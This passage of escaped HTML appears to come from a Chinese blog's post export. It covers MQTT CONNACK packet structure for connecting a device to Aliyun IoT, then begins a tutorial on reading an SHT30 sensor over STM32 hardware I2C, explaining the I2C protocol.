\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 1\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eMQTT报文类型(2)\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eReserved 保留位\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 2...\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"8\"\u003e\u003ccenter\u003e剩余长度(2)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003cp\u003e\u003cstrong\u003e剩余长度字段:\u003c/strong\u003e表示可变报头的长度。对于CONNACK报文这个值等于2。\u003c/p\u003e\u003ch4 id=\"固定报头编码\"\u003e\u003ca href=\"#固定报头编码\" class=\"headerlink\" title=\"固定报头编码\"\u003e\u003c/a\u003e固定报头编码\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e \u003cspan class=\"token number\"\u003e02\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"可变报头-1\"\u003e\u003ca href=\"#可变报头-1\" class=\"headerlink\" title=\"可变报头\"\u003e\u003c/a\u003e可变报头\u003c/h3\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eCONNACK报文可变报头\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e描述\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e7\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e6\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e5\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e4\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e3\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e2\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd colspan=\"2\"\u003e\u003ccenter\u003e连接确认标志\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"7\"\u003e\u003ccenter\u003eReserved 保留位\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eSP\u003csup\u003e1\u003csup\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd colspan=\"10\"\u003e\u003ccenter\u003e连接返回码\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte2\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003ch4 id=\"连接确认标志-Connect-Acknowledge-Flags\"\u003e\u003ca href=\"#连接确认标志-Connect-Acknowledge-Flags\" class=\"headerlink\" title=\"连接确认标志 Connect Acknowledge Flags\"\u003e\u003c/a\u003e连接确认标志 Connect Acknowledge Flags\u003c/h4\u003e\u003cp\u003e第1个字节是 \u003cem\u003e连接确认标志\u003c/em\u003e,位7-1是保留位且\u003cstrong\u003e必须\u003c/strong\u003e设置为0。 第0 (SP)位 是当前会话(Session Present)标志。\u003c/p\u003e\u003ch5 id=\"当前会话-Session-Present\"\u003e\u003ca href=\"#当前会话-Session-Present\" class=\"headerlink\" title=\"当前会话 Session Present\"\u003e\u003c/a\u003e当前会话 Session Present\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e位置:\u003c/strong\u003e连接确认标志的第0位。\u003c/p\u003e\u003cp\u003e如果服务端收到清理会话(CleanSession)标志为1的连接,除了将CONNACK报文中的返回码设置为0之外,还\u003cstrong\u003e必须\u003c/strong\u003e将CONNACK报文中的当前会话设置(Session Present)标志为0。\u003c/p\u003e\u003cp\u003e)我们在发送报文中清理会话标志位为1,所以返回码为0。(其他情况参阅资料)\u003c/p\u003e\u003ch4 id=\"连接返回码-Connect-Return-code\"\u003e\u003ca href=\"#连接返回码-Connect-Return-code\" class=\"headerlink\" title=\"连接返回码 Connect Return code\"\u003e\u003c/a\u003e连接返回码 Connect Return code\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e位置:\u003c/strong\u003e可变报头的第2个字节。\u003c/p\u003e\u003cp\u003e连接返回码字段使用一个字节的无符号值,在下表中列出。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e值\u003c/th\u003e\u003cth\u003e返回码响应\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e0x00连接已接受\u003c/td\u003e\u003ctd\u003e连接已被服务端接受\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003e0x01连接已拒绝,不支持的协议版本\u003c/td\u003e\u003ctd\u003e服务端不支持客户端请求的MQTT协议级别\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003e0x02连接已拒绝,不合格的客户端标识符\u003c/td\u003e\u003ctd\u003e客户端标识符是正确的UTF-8编码,但服务端不允许使用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003e0x03连接已拒绝,服务端不可用\u003c/td\u003e\u003ctd\u003e网络连接已建立,但MQTT服务不可用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e4\u003c/td\u003e\u003ctd\u003e0x04连接已拒绝,无效的用户名或密码\u003c/td\u003e\u003ctd\u003e用户名或密码的数据格式无效\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e5\u003c/td\u003e\u003ctd\u003e0x05连接已拒绝,未授权\u003c/td\u003e\u003ctd\u003e客户端未被授权连接到此服务器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e6-255\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003e保留\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e如果服务端收到一个合法的CONNECT报文,但出于某些原因无法处理它,服务端应该尝试发送一个包含非零返回码(表格中的某一个)的CONNACK报文。如果服务端发送了一个包含非零返回码的CONNACK报文,那么它\u003cstrong\u003e必须\u003c/strong\u003e关闭网络连接。\u003c/p\u003e\u003ch4 id=\"正确连接的可变报头\"\u003e\u003ca href=\"#正确连接的可变报头\" class=\"headerlink\" title=\"正确连接的可变报头\"\u003e\u003c/a\u003e正确连接的可变报头\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e00 00\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"有效载荷-1\"\u003e\u003ca href=\"#有效载荷-1\" class=\"headerlink\" title=\"有效载荷\"\u003e\u003c/a\u003e有效载荷\u003c/h3\u003e\u003cp\u003eCONNACK报文没有有效载荷。\u003c/p\u003e\u003ch2 id=\"最终结果\"\u003e\u003ca href=\"#最终结果\" class=\"headerlink\" title=\"最终结果\"\u003e\u003c/a\u003e最终结果\u003c/h2\u003e\u003cp\u003e串口返回数据:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eRx\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e02\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.437\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e 0D 0A 2B \u003cspan class=\"token number\"\u003e49\u003c/span\u003e \u003cspan class=\"token number\"\u003e50\u003c/span\u003e \u003cspan class=\"token number\"\u003e44\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e34\u003c/span\u003e 3A \u003cspan class=\"token number\"\u003e20\u003c/span\u003e \u003cspan class=\"token number\"\u003e02\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e 0D 0A\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e根据我们在串口看到的返回结果\u003ccode\u003e20 02 00 00\u003c/code\u003e,可知连接已经建立成功。\u003c/p\u003e\u003cp\u003e这时候在阿里云物联网平台的设备页面,我们看见我们的设备上线了!\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-markup\" data-language=\"markup\"\u003e\u003ccode class=\"language-markup\"\u003e最后上线时间 2023/07/23 02:12:13.847\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"#参考链接\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://doc.openluat.com/wiki/49\"\u003eLuat社区 (openluat.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://help.aliyun.com/zh/iot/user-guide/establish-mqtt-connections-over-tcp#section-llx-5ay-oma\"\u003eMQTT-TCP连接通信 (aliyun.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mcxiaoke.gitbooks.io/mqtt-cn/content/\"\u003eMQTT中文手册\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.codenong.com/cs105877395/\"\u003eMQTT协议学习一、MQTT控制报文的结构与CONNECT报文构建 | 码农家园 (codenong.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mcxiaoke.gitbooks.io/mqtt-cn/content/mqtt/01-Introduction.html\"\u003e第一章 - MQTT介绍 · MQTT协议中文版 (gitbooks.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_52672120/article/details/112308318\"\u003eMQTT - CONNECT报文_mqtt_connect_Hebo42的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/cw_huang/article/details/105815349\"\u003eESP8266-12F AT指令连接阿里云_GEEK.攻城狮的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/huangcw/p/12778758.html\"\u003eESP8266-12F AT指令连接阿里云 - 黄豆爸 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://baijiahao.baidu.com/s?id=1715575644678049062\u0026wfr=spider\u0026for=pc\"\u003eMQTT协议报文格式解析 (baidu.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e","url":"https://blog.ksfu.top/posts/47a8/"},{"title":"STM32使用硬件IIC驱动SHT30温湿度传感器","time":"2023-07-13T16:37:34Z","content":"\u003ch1 id=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003ca href=\"#STM32使用硬件IIC驱动SHT30温湿度传感器\" class=\"headerlink\" title=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003c/a\u003eSTM32使用硬件II\u003chr /\u003e\u003ch1 id=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003ca href=\"#STM32使用硬件IIC驱动SHT30温湿度传感器\" class=\"headerlink\" title=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003c/a\u003eSTM32使用硬件IIC驱动SHT30温湿度传感器\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e喜报,终于写完了\u003c/del\u003e\u003c/p\u003e\u003cp\u003e当时网上 xjb乱逛,突然看见有人讨论小米温湿度传感器,我当时也买了个这玩意,于是突然感兴趣查了一下用的传感器——SHT30,协议是IIC。当时想着能不能自己也山寨一个小米温湿度传感器 \u003cdel\u003e,然后下单了SHT30之后就再也没动过\u003c/del\u003e 。这会放假了,想起来这玩意,就整一整吧,顺便再 \u003cstrong\u003e学习一遍IIC协议\u003c/strong\u003e 。图个方便,这次先用硬件IIC。\u003c/p\u003e\u003ch2 id=\"IIC-协议\"\u003e\u003ca href=\"#IIC-协议\" class=\"headerlink\" title=\"IIC 协议\"\u003e\u003c/a\u003eIIC 协议\u003c/h2\u003e\u003ch2 id=\"I2C协议介绍\"\u003e\u003ca href=\"#I2C协议介绍\" class=\"headerlink\" title=\"I2C协议介绍\"\u003e\u003c/a\u003eI2C协议介绍\u003c/h2\u003e\u003ch3 id=\"(1)I2C协议简介\"\u003e\u003ca href=\"#(1)I2C协议简介\" class=\"headerlink\" title=\"(1)I2C协议简介\"\u003e\u003c/a\u003e(1)I2C协议简介\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e【省流版】:\u003c/p\u003e\u003cp\u003e串行通信协议的一种,属于串行通信协议中的半双工同步通信。\u003c/p\u003e\u003cp\u003eIIC是一种被定义好的标准,采用二线制,一条数据线,一条时钟线;\u003c/p\u003e\u003cp\u003e数据线传输数据,一位一位传输;时钟线控制传输速率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eI2C总线是Philips公司在八十年代初推出的一种\u003cstrong\u003e串行、半双工的总线\u003c/strong\u003e,主要用于近距离、低速的芯片之间的通信。\u003c/p\u003e\u003cp\u003e每个IIC器件有两条线路:\u003c/p\u003e\u003cul\u003e\u003cli\u003eSDA是供主器件和节点发送和接收数据的线路。\u003c/li\u003e\u003cli\u003eSCL是承载时钟信号的线路。SCL总是由I2C主器件生成。规范对时钟信号的低相位和高相位有最短周期要求。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eI2C总线仅使用两条双向线路:每个器件的SDA和SCL用于简单的IC间通信。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/11.webp\" style=\"zoom:80%;\" /\u003e\u003cp\u003e硬件最重要的注意是在SDA和SCL上加入上拉电阻。I2C器件通过开集或开漏引脚连接到总线,将线路拉低。当没有数据传输时,I2C总线处于高电平空闲状态;线路被被动拉高。要传输数据,须切换线路,即先拉低再释放(又变为高电平)。数据位在时钟下降沿传输。\u003c/p\u003e\u003cp\u003e开漏输出需要一个上拉电阻(Rp)才能正确输出高电平。上拉电阻连接在输出引脚和高电平所需的输出电压(VDD)之间。\u003c/p\u003e\u003cp\u003e对于VCC和VDD (5 V)的典型值,4700 Ω是最常用的上拉电阻值。\u003c/p\u003e\u003cp\u003eI2C总线是一种主从结构(Master\u0026#x2F;Slave)总线, I2C总线上的每一个设备都可以作为主设备或者从设备,但一个总线上一般只有一个主设备,可以带多个从设备。其中主设备用来产生允许传输的时钟信号,并初始化总线的数据传输,所以主设备通常是CPU,而从设备只能被动响应主设备发起的通信请求,所以各种I2C接口芯片将作为从设备使用。\u003c/p\u003e\u003ch4 id=\"(2)I2C从设备地址\"\u003e\u003ca href=\"#(2)I2C从设备地址\" class=\"headerlink\" title=\"(2)I2C从设备地址\"\u003e\u003c/a\u003e(2)I2C从设备地址\u003c/h4\u003e\u003cp\u003e因为一个I2C总线上可以有多个从设备,这样主设备需要通过地址来确定与哪个器件进行通信。I2C总线上每个从设备都有一个唯一的7bit地址物理识别,这个地址固化在芯片内部,并可以从芯片datasheet上找到。\u003c/p\u003e\u003cp\u003eI2C有16个保留地址。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/12.webp\" style=\"zoom:80%;\" /\u003e\u003cp\u003e其中I2C的从器件地址(本次SHT30只用到了7位的)的组成如下:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e1byte \u0026#x3D; 7bit地址 + 1bit读写标志\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e注:1bit读写标志中,0-发送数据(写),1-请求数据(读)\u003c/p\u003e\u003cp\u003e有些时候一个总线上可能需要挂多个同一芯片,这样有些芯片还需要引出一个或几个引脚,由开发板设计电路来决定其具体地址,从而让不同芯片具有不同的7bit物理地址。\u003c/p\u003e\u003ch3 id=\"I2C通信时序\"\u003e\u003ca href=\"#I2C通信时序\" class=\"headerlink\" title=\"I2C通信时序\"\u003e\u003c/a\u003eI2C通信时序\u003c/h3\u003e\u003cp\u003e在I2C总线上传送的每一位数据都由一个同步时钟脉冲相对应,即在SCL串行时钟的配合下,数据在SDA上从高位向低位依次串行传送每一位的数据。IIC通信时序图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/13.webp\" style=\"zoom:80%;\" /\u003e\u003ch4 id=\"(1)起始位\"\u003e\u003ca href=\"#(1)起始位\" class=\"headerlink\" title=\"(1)起始位\"\u003e\u003c/a\u003e(1)起始位\u003c/h4\u003e\u003cp\u003eI2C总线在空闲时SDA和SCL都处于高电平状态(由上拉电阻拉成高电平),当主设备要开始一次I2C通信时就发送一个START(S)信号,这个起始位就可以告诉所有I2C从机, “我”要开始进行I2C通信了;当要结束一次I2C通信时,则发送一个STOP信号结束本次通信。\u003c/p\u003e\u003cp\u003eSTART(S):当SCL保持高电平时候,SDA出现下降沿,产生一个起始位,注意SCL一定要在高电平。\u003cbr\u003eSTOP( P ):当SCL保持高电平时候,SDA出现上升沿,产生一个停止位,注意SCL一定要在高电平。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/14.webp\" style=\"zoom: 67%;\" /\u003e\u003ch4 id=\"(2)读写地址\"\u003e\u003ca href=\"#(2)读写地址\" class=\"headerlink\" title=\"(2)读写地址\"\u003e\u003c/a\u003e(2)读写地址\u003c/h4\u003e\u003cp\u003e主机在发送START信号之后,第2个时序应该立刻给出要通信的目标从机物理地址。此外,I2C总线是一种能够实现半双工通信的同步串行通信协议,站在主设备的角度来看应该具有读\u0026#x2F;写从设备的功能。\u003c/p\u003e\u003cp\u003e这时候I2C的读写地址除了7bit物理地址以外,还有1bit用来标识读\u0026#x2F;写方向位。这样I2C的从设备读写地址通常是一个字节,其中高7bit是上面描述的物理地址,最低位用来表示读写方向(0为写操作, 1为读操作)\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/15.webp\" style=\"zoom:67%;\" /\u003e\u003ch4 id=\"(3)I2C应答信号\"\u003e\u003ca href=\"#(3)I2C应答信号\" class=\"headerlink\" title=\"(3)I2C应答信号\"\u003e\u003c/a\u003e(3)I2C应答信号\u003c/h4\u003e\u003cp\u003e主机往I2C总线上传输器件地址,所有的从机接收到这个地址后与自己的地址相比较若相同则发出一个应答ACK(Acknowledge)信号,主机收到这个应答信号后通讯连接建立成功,若未收到应答信号则表示寻址失败。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/16.webp\" style=\"zoom: 67%;\" /\u003e\u003cp\u003e此外,主\u0026#x2F;从机在之后的数据通信中,数据接收方(可能是主机也可能是从机)收到传输的一个字节数据后,需要给出响应,此时处在第九个时钟,发送端释放SDA线控制权,将SDA电平拉高,由接收方控制。\u003c/p\u003e\u003cul\u003e\u003cli\u003e若希望继续,则给出“应答(ACK, Acknowledge)”信号,即SDA为低电平\u003c/li\u003e\u003cli\u003e若不希望继续,则给出“非应答(NACK,Not Acknowledge) ”信号,即SDA为高电平\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"(4)数据位发送与接收\"\u003e\u003ca href=\"#(4)数据位发送与接收\" class=\"headerlink\" title=\"(4)数据位发送与接收\"\u003e\u003c/a\u003e(4)数据位发送与接收\u003c/h4\u003e\u003cp\u003e主机在收到从机的应答信号之后,开始给从机发送数据。SDA数据线上的每个字节必须是8位,每次传输的字节数量没有限制,每个字节发送完成之后,从机必须跟一个应答信号。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/17.webp\" style=\"zoom:67%;\" /\u003e\u003cp\u003eI2C总线通信时数据位传输采用MSB(最高位优先)方式发送,其中高电平表示数据位1,低电平表示数据位0。\u003c/p\u003e\u003cp\u003e当传输的数据位需要改变时(如上一个位发送的是1,下一个位要发送0),必须发生在SCL为低电平期间。另外在传输过程中, SDA上的数据位在SCL高电平期间必须保持稳定不变。\u003c/p\u003e\u003cp\u003e假设SCL在高电平,想一下是不是就会触发起始位或者终止位。想一想起始信号与停止信号是怎么发送的就会明白为什么SCL一定要在高电平才能改变SDA。\u003c/p\u003e\u003ch3 id=\"I2C协议主机收发数据流程\"\u003e\u003ca href=\"#I2C协议主机收发数据流程\" class=\"headerlink\" title=\"I2C协议主机收发数据流程\"\u003e\u003c/a\u003eI2C协议主机收发数据流程\u003c/h3\u003e\u003ch4 id=\"(1)主机发送数据\"\u003e\u003ca href=\"#(1)主机发送数据\" class=\"headerlink\" title=\"(1)主机发送数据\"\u003e\u003c/a\u003e(1)主机发送数据\u003c/h4\u003e\u003cp\u003e主机在检测到总线为“空闲状态”(即 SDA、SCL 线均为高电平)时,发送一个启动信号“S”,开始一次通信的开始;\u003c/p\u003e\u003cp\u003e主机接着发送一个从设备地址,它由7bit物理地址和1bit读写控制位R\u0026#x2F;W组成(此时R\u0026#x2F;W\u0026#x3D;0);\u003cbr\u003e相对应的从机收到命令字节后向主机回馈应答信号 ACK(ACK\u0026#x3D;0);\u003c/p\u003e\u003cp\u003e主机收到从机的应答信号后开始发送第一个字节的数据;\u003c/p\u003e\u003cp\u003e从机收到数据后返回一个应答信号 ACK;\u003c/p\u003e\u003cp\u003e主机收到应答信号后再发送下一个数据字节;\u003c/p\u003e\u003cp\u003e当主机发送最后一个数据字节并收到从机的 ACK 后,通过向从机发送一个停止信号P结束本次通信并释放总线。从机收到P信号后也退出与主机之间的通信。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/18.webp\" style=\"zoom:67%;\" /\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003e注意\u003c/code\u003e :\u003c/p\u003e\u003cul\u003e\u003cli\u003e主机通过发送地址码与对应的从机建立了通信关系,而挂接在总线上的其它从机虽然同时也收到了地址码,但因为与其自身的地址不相符合,因此提前退出与主机的通信;\u003c/li\u003e\u003cli\u003e主机的一次发送通信,其发送的数据数量不受限制。主机是通过 P 信号通知发送的结束,从机收到 P 信号后退出本次通信;\u003c/li\u003e\u003cli\u003e主机的每一次发送后都是通过从机的 ACK 信号了解从机的接收状况,如果应答错误则重发。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch4 id=\"(2)主机接收数据\"\u003e\u003ca href=\"#(2)主机接收数据\" class=\"headerlink\" title=\"(2)主机接收数据\"\u003e\u003c/a\u003e(2)主机接收数据\u003c/h4\u003e\u003cul\u003e\u003cli\u003e主机发送起始信号后,接着发送地址字节(其中R\u0026#x2F;W\u0026#x3D;1);\u003c/li\u003e\u003cli\u003e对应的从机收到地址字节后,返回一个应答信号并向主机发送数据;\u003c/li\u003e\u003cli\u003e主机收到数据后向从机反馈一个应答信号ACK;\u003c/li\u003e\u003cli\u003e从机收到应答信号后再向主机发送下一个数据;\u003c/li\u003e\u003cli\u003e当主机完成接收数据后,向从机发送一个NAK,从机收到非应答信号后便停止发送;\u003c/li\u003e\u003cli\u003e主机发送非应答信号后,再发送一个停止信号,释放总线结束通信。\u003c/li\u003e\u003c/ul\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/19.webp\" style=\"zoom:67%;\" /\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003e注意\u003c/code\u003e :\u003c/p\u003e\u003cul\u003e\u003cli\u003e主机所接收数据的数量是由主机自身决定,当发送“非应答信号NAK”时从机便结束传送并释放总线。\u003c/li\u003e\u003cli\u003e非应答信号的两个作用:前一个数据接收成功,停止从机的再次发送。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch2 id=\"SHT30-温湿度传感器\"\u003e\u003ca href=\"#SHT30-温湿度传感器\" class=\"headerlink\" title=\"SHT30 温湿度传感器\"\u003e\u003c/a\u003eSHT30 温湿度传感器\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e)睡醒再写……\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eSHT3X数据手册下载: \u003ca href=\"https://sensirion.com/media/documents/213E6A3B/63A5A569/Datasheet_SHT3x_DIS.pdf\"\u003e[Datasheet SHT3x-DIS]\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"SHT30简介\"\u003e\u003ca href=\"#SHT30简介\" class=\"headerlink\" 